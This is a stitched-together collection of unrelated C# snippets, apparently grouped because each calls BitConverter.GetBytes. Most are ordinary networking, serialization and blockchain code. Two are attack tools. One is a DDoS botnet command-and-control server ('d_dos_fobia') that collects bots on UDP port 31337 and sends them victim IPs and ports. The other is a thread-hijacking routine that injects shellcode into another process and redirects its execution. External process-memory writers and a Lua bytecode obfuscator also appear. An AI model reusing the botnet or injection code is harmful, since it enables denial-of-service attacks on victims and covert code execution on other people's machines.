public void WriteDouble(int pOffset, double pBytes) { this.WriteMem(pOffset, BitConverter.GetBytes(pBytes)); }
public static void Main(string[] args) { Console.WriteLine("Command and control server d_dos_fobia active"); UdpClient udpServer = new UdpClient(31337); Thread listenThread = new Thread(() => { while (true) { IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 31337); byte[] data = udpServer.Receive(ref remoteEP); // listen on port 31337 //Console.WriteLine(BitConverter.ToInt32(data, 0)); //Console.WriteLine("data " + remoteEP.ToString()); lock (ip_port_bots) ip_port_bots.Add(new IPEndPoint(remoteEP.Address, BitConverter.ToUInt16(data, 0))); DisplaySet(ip_port_bots); //udpServer.Send(new byte[] { 1 }, 1, remoteEP); // reply back } }); listenThread.Start(); while (true) { try { Console.WriteLine("ip?"); string ip_vic = Console.ReadLine(); Console.WriteLine("port?"); int port_vic = Int32.Parse(Console.ReadLine()); Console.WriteLine("password?"); string pass_vic = Console.ReadLine(); byte[] ip_vic_arr = IPAddress.Parse(ip_vic).GetAddressBytes(), //BitConverter.GetBytes((Int32)IPAddress.Parse(ip_vic).Address), port_vic_arr = BitConverter.GetBytes((Int16)port_vic), pass_vic_arr = Encoding.Default.GetBytes(pass_vic); string name = "d_dos_fobia"; int len = name.Length; for (int i = 0; i < 32 - len; i++) name = name + "\0"; byte[] name_vic_arr = Encoding.Default.GetBytes(name); byte[] to_send = Combine(ip_vic_arr, port_vic_arr, pass_vic_arr, name_vic_arr); Console.WriteLine("attacking victim on IP " + ip_vic + ", port " + port_vic + " with " + ip_port_bots.Count + " bots"); DisplaySet(ip_port_bots); try { lock (ip_port_bots) { foreach (IPEndPoint endPoint in ip_port_bots) { udpServer.Send(to_send, to_send.Length, endPoint); // reply back } } } catch (Exception e) { Console.WriteLine(e.Message); } } catch(Exception e) { Console.WriteLine("incorecct input " + e.Message); } } }
public static void WriteRaw(BinaryWriter bw, int val) { Debug("write one raw int: {0}", val); bw.Write(BitConverter.GetBytes(val)); }
public void Write(ushort us) { BitConverter.GetBytes(us).CopyTo(_data, _pos); _pos += 2; }
public void Write(ulong ul) { BitConverter.GetBytes(ul).CopyTo(_data, _pos); _pos += 8; }
public static byte[] GetAddress(string address) { try { var addr = new byte[2]; var threeLevelAddressing = true; string[] parts; var group = address.Contains('/'); if (!group) { // individual address parts = address.Split('.'); if (parts.Length != 3 || parts[0].Length > 2 || parts[1].Length > 2 || parts[2].Length > 3) { throw new InvalidKnxAddressException(address); } } else { // group address parts = address.Split('/'); if (parts.Length != 3 || parts[0].Length > 2 || parts[1].Length > 1 || parts[2].Length > 3) { if (parts.Length != 2 || parts[0].Length > 2 || parts[1].Length > 4) { throw new InvalidKnxAddressException(address); } threeLevelAddressing = false; } } if (!threeLevelAddressing) { var part = int.Parse(parts[0]); if (part > 15) { throw new InvalidKnxAddressException(address); } addr[0] = (byte)(part << 3); part = int.Parse(parts[1]); if (part > 2047) { throw new InvalidKnxAddressException(address); } var part2 = BitConverter.GetBytes(part); if (part2.Length > 2) { throw new InvalidKnxAddressException(address); } addr[0] = (byte)(addr[0] | part2[0]); addr[1] = part2[1]; } else { var part = int.Parse(parts[0]); if (part > 15) { throw new InvalidKnxAddressException(address); } addr[0] = group ? (byte)(part << 3) : (byte)(part << 4); part = int.Parse(parts[1]); if ((group && part > 7) || (!group && part > 15)) { throw new InvalidKnxAddressException(address); } addr[0] = (byte)(addr[0] | part); part = int.Parse(parts[2]); if (part > 255) { throw new InvalidKnxAddressException(address); } addr[1] = (byte)part; } return(addr); } catch (Exception) { throw new InvalidKnxAddressException(address); } }
public void Write(uint ui) { BitConverter.GetBytes(ui).CopyTo(_data, _pos); _pos += 4; }
private async void StartClient() { int i = 0; while (true) { if (!UWconnectedflag) { UI_Stream_ready_flag = false; DRBE_softwarePage.UI_Stream_ready_flag = false; DRBE_ap.UI_Stream_ready_flag = false; try { // Create the StreamSocket and establish a connection to the echo server. DRBE_frontPage.Statues_tb.Text += "\r\n Client Try to Connect"; await Task.Delay(300); await UWstreamsocket.ConnectAsync(UWhostname, UWPportnumber); DRBE_frontPage.Statues_tb.Text += "\r\n Client Connected: " + UWstreamsocket.Information.LocalAddress.ToString(); DRBE_frontPage.DRBE_controlpanel.Message_tb.Text += "\r\n" + DateTime.Now.ToString("HH: mm: ss~~") + "Server Connected"; DRBE_frontPage.DRBE_controlpanel.Server_ui_tb.Text = "Connected"; DRBE_frontPage.DRBE_controlpanel.Server_ui_tb.Foreground = green_bright_button_brush; UWconnectedflag = true; UWoutputstream = UWstreamsocket.OutputStream.AsStreamForWrite(); UWinputstream = UWstreamsocket.InputStream.AsStreamForRead(); UWbinarywriter = new BinaryWriter(UWoutputstream); UWbinaryreader = new BinaryReader(UWinputstream); DRBE_softwarePage.UWbinarywriter = UWbinarywriter; DRBE_softwarePage.UI_Stream_ready_flag = true; DRBE_ap.UWbinarywriter = UWbinarywriter; DRBE_ap.UI_Stream_ready_flag = true; UI_Stream_ready_flag = true; testpacket = new List <byte>(mpacket.Pass(new List <byte>())); await Task.Delay(500); //UWbinarywriter.Write(testpacket.ToArray(), 0, 255); //UWbinarywriter.Flush(); StorageFolder storageFolder = ApplicationData.Current.LocalFolder; string path = storageFolder.Path; List <byte> tosend = new List <byte>(); byte[] tbytes = Encoding.ASCII.GetBytes(path); tosend = new List <byte>(tbytes); UInt16 totallen = Convert.ToUInt16(tosend.Count() + 3); tosend.Insert(0, BitConverter.GetBytes(totallen)[0]); tosend.Insert(0, BitConverter.GetBytes(totallen)[1]); tosend.Insert(0, 0x90); UWbinarywriter.Write(tosend.ToArray(), 0, tosend.Count); UWbinarywriter.Flush(); ClientReading(); break; } catch (Exception ex) { await Task.Delay(1000); i++; } } } //} }
private UserWallet(WalletIndexer indexer, string path, byte[] passwordKey, bool create) { this.indexer = indexer; this.path = path; if (create) { this.iv = new byte[16]; this.masterKey = new byte[32]; this.accounts = new Dictionary <UInt160, UserWalletAccount>(); using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(iv); rng.GetBytes(masterKey); } Version version = Assembly.GetExecutingAssembly().GetName().Version; BuildDatabase(); SaveStoredData("PasswordHash", passwordKey.Sha256()); SaveStoredData("IV", iv); SaveStoredData("MasterKey", masterKey.AesEncrypt(passwordKey, iv)); SaveStoredData("Version", new[] { version.Major, version.Minor, version.Build, version.Revision }.Select(p => BitConverter.GetBytes(p)).SelectMany(p => p).ToArray()); } else { byte[] passwordHash = LoadStoredData("PasswordHash"); if (passwordHash != null && !passwordHash.SequenceEqual(passwordKey.Sha256())) { throw new CryptographicException(); } this.iv = LoadStoredData("IV"); this.masterKey = LoadStoredData("MasterKey").AesDecrypt(passwordKey, iv); this.accounts = LoadAccounts(); indexer.RegisterAccounts(accounts.Keys); } indexer.WalletTransaction += WalletIndexer_WalletTransaction; }
public void WriteUInt(bool AddToImageAddress, int pOffset, uint pBytes) { this.WriteMem(pOffset, BitConverter.GetBytes(pBytes), AddToImageAddress); }
public void WriteUInt(string Module, int pOffset, uint pBytes) { this.WriteMem(this.DllImageAddress(Module) + pOffset, BitConverter.GetBytes(pBytes)); }
public void WriteUInt(int pOffset, uint pBytes) { this.WriteMem(pOffset, BitConverter.GetBytes(pBytes)); }
public void WriteShort(int pOffset, short pBytes) { this.WriteMem(pOffset, BitConverter.GetBytes(pBytes)); }
public void WriteFloat(int pOffset, float pBytes) { this.WriteMem(pOffset, BitConverter.GetBytes(pBytes)); }
public void SendMessage(byte[] message) { byte[] packlength = BitConverter.GetBytes(message.Length); ClientStream.Write(packlength, 0, packlength.Length); ClientStream.Write(message, 0, message.Length); }
/// <summary>Adds a bool to the packet.</summary> /// <param name="_value">The bool to add.</param> public void Write(bool _value) { buffer.AddRange(BitConverter.GetBytes(_value)); }
private bool OnExportBlocksCommand(string[] args) { if (args.Length > 4) { Console.WriteLine("error"); return(true); } if (args.Length >= 3 && uint.TryParse(args[2], out uint start)) { if (start > Blockchain.Default.Height) { return(true); } uint count = args.Length >= 4 ? uint.Parse(args[3]) : uint.MaxValue; count = Math.Min(count, Blockchain.Default.Height - start + 1); uint end = start + count - 1; string path = $"chain.{start}.acc"; using (FileStream fs = new FileStream(path, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None)) { if (fs.Length > 0) { fs.Seek(sizeof(uint), SeekOrigin.Begin); byte[] buffer = new byte[sizeof(uint)]; fs.Read(buffer, 0, buffer.Length); start += BitConverter.ToUInt32(buffer, 0); fs.Seek(sizeof(uint), SeekOrigin.Begin); } else { fs.Write(BitConverter.GetBytes(start), 0, sizeof(uint)); } if (start <= end) { fs.Write(BitConverter.GetBytes(count), 0, sizeof(uint)); } fs.Seek(0, SeekOrigin.End); for (uint i = start; i <= end; i++) { Block block = Blockchain.Default.GetBlock(i); byte[] array = block.ToArray(); fs.Write(BitConverter.GetBytes(array.Length), 0, sizeof(int)); fs.Write(array, 0, array.Length); Console.SetCursorPosition(0, Console.CursorTop); Console.Write($"[{i}/{end}]"); } } } else { start = 0; uint end = Blockchain.Default.Height; uint count = end - start + 1; string path = args.Length >= 3 ? args[2] : "chain.acc"; using (FileStream fs = new FileStream(path, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None)) { if (fs.Length > 0) { byte[] buffer = new byte[sizeof(uint)]; fs.Read(buffer, 0, buffer.Length); start = BitConverter.ToUInt32(buffer, 0); fs.Seek(0, SeekOrigin.Begin); } if (start <= end) { fs.Write(BitConverter.GetBytes(count), 0, sizeof(uint)); } fs.Seek(0, SeekOrigin.End); for (uint i = start; i <= end; i++) { Block block = Blockchain.Default.GetBlock(i); byte[] array = block.ToArray(); fs.Write(BitConverter.GetBytes(array.Length), 0, sizeof(int)); fs.Write(array, 0, array.Length); Console.SetCursorPosition(0, Console.CursorTop); Console.Write($"[{i}/{end}]"); } } } Console.WriteLine(); return(true); }
/// <summary>Inserts the length of the packet's content at the start of the buffer.</summary> public void WriteLength() { buffer.InsertRange(0, BitConverter.GetBytes(buffer.Count)); // Insert the byte length of the packet at the very beginning }
public void Write(sbyte sb) { BitConverter.GetBytes(sb).CopyTo(_data, _pos); _pos += 1; }
/// <summary>Inserts the given int at the start of the buffer.</summary> /// <param name="_value">The int to insert.</param> public void InsertInt(int _value) { buffer.InsertRange(0, BitConverter.GetBytes(_value)); // Insert the int at the start of the buffer }
public void Write(float f) { BitConverter.GetBytes(f).CopyTo(_data, _pos); _pos += 4; }
/// <summary> /// Infinite loop listening for new data from all connected clients on a separate thread. /// This loop breaks when readThreadCancel is set to true /// </summary> private void ReadClients() { // Intentional infinite loop while (IsBound && !NetWorker.ExitingApplication) { try { // If the read has been flagged to be canceled then break from this loop if (readThreadCancel) { return; } // This will loop through all of the players, so make sure to set the lock to // prevent any changes from other threads lock (Players) { for (int i = 0; i < Players.Count; i++) { // If the read has been flagged to be canceled then break from this loop if (readThreadCancel) { return; } NetworkStream playerStream = null; if (Players[i].IsHost) { continue; } try { lock (Players[i].MutexLock) { // Try to get the client stream if it is still available playerStream = Players[i].TcpClientHandle.GetStream(); } } catch { // Failed to get the stream for the client so forcefully disconnect it //Console.WriteLine("Exception: Failed to get stream for client (Forcefully disconnecting)"); Disconnect(Players[i], true); continue; } // If the player is no longer connected, then make sure to disconnect it properly if (!Players[i].TcpClientHandle.Connected) { Disconnect(Players[i], false); continue; } // Only continue to read for this client if there is any data available for it if (!playerStream.DataAvailable) { continue; } int available = Players[i].TcpClientHandle.Available; // Determine if the player is fully connected if (!Players[i].Accepted) { // Determine if the player has been accepted by the server if (!Players[i].Connected) { lock (Players[i].MutexLock) { // Read everything from the stream as the client hasn't been accepted yet byte[] bytes = new byte[available]; playerStream.Read(bytes, 0, bytes.Length); // Validate that the connection headers are properly formatted byte[] response = Websockets.ValidateConnectionHeader(bytes); // The response will be null if the header sent is invalid, if so then disconnect client as they are sending invalid headers if (response == null) { OnPlayerRejected(Players[i]); Disconnect(Players[i], false); continue; } // If all is in order then send the validated response to the client playerStream.Write(response, 0, response.Length); // The player has successfully connected Players[i].Connected = true; } } else { lock (Players[i].MutexLock) { // Consume the message even though it is not being used so that it is removed from the buffer Text frame = (Text)Factory.DecodeMessage(GetNextBytes(playerStream, available, true), true, MessageGroupIds.TCP_FIND_GROUP_ID, Players[i]); Players[i].InstanceGuid = frame.ToString(); OnPlayerGuidAssigned(Players[i]); lock (writeBuffer) { writeBuffer.Clear(); writeBuffer.Append(BitConverter.GetBytes(Players[i].NetworkId)); Send(Players[i].TcpClientHandle, new Binary(Time.Timestep, false, writeBuffer, Receivers.Target, MessageGroupIds.NETWORK_ID_REQUEST, true)); SendBuffer(Players[i]); // All systems go, the player has been accepted OnPlayerAccepted(Players[i]); } } } } else { try { lock (Players[i].MutexLock) { // Get the frame that was sent by the client, the client // does send masked data //TODO: THIS IS CAUSING ISSUES!!! WHY!?!?!!? FrameStream frame = Factory.DecodeMessage(GetNextBytes(playerStream, available, true), true, MessageGroupIds.TCP_FIND_GROUP_ID, Players[i]); // The client has told the server that it is disconnecting if (frame is ConnectionClose) { // Confirm the connection close Send(Players[i].TcpClientHandle, new ConnectionClose(Time.Timestep, false, Receivers.Target, MessageGroupIds.DISCONNECT, true)); Disconnect(Players[i], false); continue; } // A message has been successfully read from the network so relay that // to all methods registered to the event OnMessageReceived(Players[i], frame); } } catch { // The player is sending invalid data so disconnect them Disconnect(Players[i], true); } } } } // Go through all of the pending disconnections and clean them // up and finalize the disconnection CleanupDisconnections(); // Sleep so that we free up the CPU a bit from this thread Thread.Sleep(10); } catch (Exception ex) { Logging.BMSLog.LogException(ex); } } }
public void Write(double d) { BitConverter.GetBytes(d).CopyTo(_data, _pos); _pos += 8; }
/// <summary> /// 将 int64 转换成字节数组。 /// 与Golang中的转换反了,所有反转了一下。 /// </summary> /// <param name="num">int64</param> /// <returns></returns> public static byte[] IntToHex(long num) { return(BitConverter.GetBytes(num).Reverse().ToArray()); }
byte[] IHashAlgorithm.ComputeHash(byte[] values) { var result = ComputeHash(values); var bytes = BitConverter.GetBytes(result); return bytes; }
public static void Thread_HiJack(string Process_Name, byte[] payload) { // Process privileges const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; const int PROCESS_VM_WRITE = 0x0020; const int PROCESS_VM_READ = 0x0010; // Memory permissions const uint MEM_COMMIT = 0x00001000; const uint MEM_RESERVE = 0x00002000; const uint PAGE_READWRITE = 4; const uint PAGE_EXECUTE_READWRITE = 0x40; Process targetProcess = Process.GetProcessesByName(Process_Name)[0]; ProcessThread pT = targetProcess.Threads[0]; Console.WriteLine("ThreadId: " + targetProcess.Threads[0].Id); IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id); SuspendThread(pOpenThread); CONTEXT64 tContext = new CONTEXT64(); tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL; // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address) byte[] mov_rax = new byte[2] { 0x48, 0xb8 }; byte[] jmp_address = BitConverter.GetBytes(tContext.Rip); byte[] jmp_rax = new byte[2] { 0xff, 0xe0 }; // Build shellcode byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; payload.CopyTo(shellcode, 0); mov_rax.CopyTo(shellcode, payload.Length); jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length); jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length); // OpenProcess to allocate memory IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); // Allocate memory for shellcode within process IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), 0x00001000 | 0x00002000, 0x40); // Write shellcode within process UIntPtr bytesWritten; bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Read memory to view shellcode int bytesRead = 0; byte[] buffer = new byte[shellcode.Length]; ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); // Set context EIP to location of shellcode tContext.Rip = (ulong)allocMemAddress.ToInt64(); // Apply new context to suspended thread // Resume the thread, redirecting execution to shellcode, then back to original process ResumeThread(pOpenThread); }
public static byte[] GetBytes(ushort value) { return(Invert(BitConverter.GetBytes(value))); }
public byte[] SerializeLChunk(Chunk chunk, bool factorXor = true) { List <byte> bytes = new List <byte>(); void WriteByte(byte b) { if (factorXor) { b ^= (byte)(_context.PrimaryXorKey); } bytes.Add(b); } void Write(byte[] b, bool checkEndian = true) { if (!BitConverter.IsLittleEndian && checkEndian) { b = b.Reverse().ToArray(); } bytes.AddRange(b.Select(i => { if (factorXor) { i ^= (byte)(_context.PrimaryXorKey); } return(i); })); } void WriteInt32(int i) => Write(BitConverter.GetBytes(i)); void WriteNumber(double d) => Write(BitConverter.GetBytes(d)); void WriteString(string s) { byte[] sBytes = _fuckingLua.GetBytes(s); WriteInt32(sBytes.Length); Write(sBytes, false); } void WriteBool(bool b) => Write(BitConverter.GetBytes(b)); int[] SerializeInstruction(Instruction inst) { inst.UpdateRegisters(); if (inst.InstructionType == InstructionType.Data) { return(new[] { _r.Next(), inst.Data }); } var cData = inst.CustomData; int opCode = (int)inst.OpCode; if (cData != null) { var virtualOpcode = cData.Opcode; opCode = cData.WrittenOpcode?.VIndex ?? virtualOpcode.VIndex; virtualOpcode?.Mutate(inst); } int a = inst.A; int b = inst.B; int c = inst.C; int result_i1 = 0; int result_i2 = 0; if (inst.InstructionType == InstructionType.AsBx || inst.InstructionType == InstructionType.AsBxC) { b += 1048575; } result_i1 |= (byte)inst.InstructionType; result_i1 |= ((a & 0x1FF) << 2); result_i1 |= ((b & 0x1FF) << (2 + 9)); result_i1 |= (c << (2 + 9 + 9)); result_i2 |= opCode; result_i2 |= (b << 11); return(new[] { result_i1, result_i2 }); } chunk.UpdateMappings(); for (int i = 0; i < (int)ChunkStep.StepCount; i++) { switch (_context.ChunkSteps[i]) { case ChunkStep.ParameterCount: WriteByte(chunk.ParameterCount); break; case ChunkStep.Constants: WriteInt32(chunk.Constants.Count); foreach (Constant c in chunk.Constants) { WriteByte((byte)_context.ConstantMapping[(int)c.Type]); switch (c.Type) { case ConstantType.Boolean: WriteBool(c.Data); break; case ConstantType.Number: WriteNumber(c.Data); break; case ConstantType.String: WriteString(c.Data); break; } } break; case ChunkStep.Instructions: WriteInt32(chunk.Instructions.Count); foreach (Instruction ins in chunk.Instructions) { int[] arr = SerializeInstruction(ins); //WriteByte((byte)ins.Instruction.InstructionType); WriteInt32(arr[0] ^ _context.IXorKey1); WriteInt32(arr[1] ^ _context.IXorKey2); } break; case ChunkStep.Functions: WriteInt32(chunk.Functions.Count); foreach (Chunk c in chunk.Functions) { Write(SerializeLChunk(c, false)); } break; case ChunkStep.LineInfo when _settings.PreserveLineInfo: WriteInt32(chunk.Instructions.Count); foreach (var instr in chunk.Instructions) { WriteInt32(instr.Line); } break; } } return(bytes.ToArray()); }
public override void Write(Int32 value) { var bytes = BitConverter.GetBytes(value); WriteBigEndian(bytes); }
public void WriteByte(string Module, int pOffset, byte pBytes) { this.WriteMem(this.DllImageAddress(Module) + pOffset, BitConverter.GetBytes((short)pBytes)); }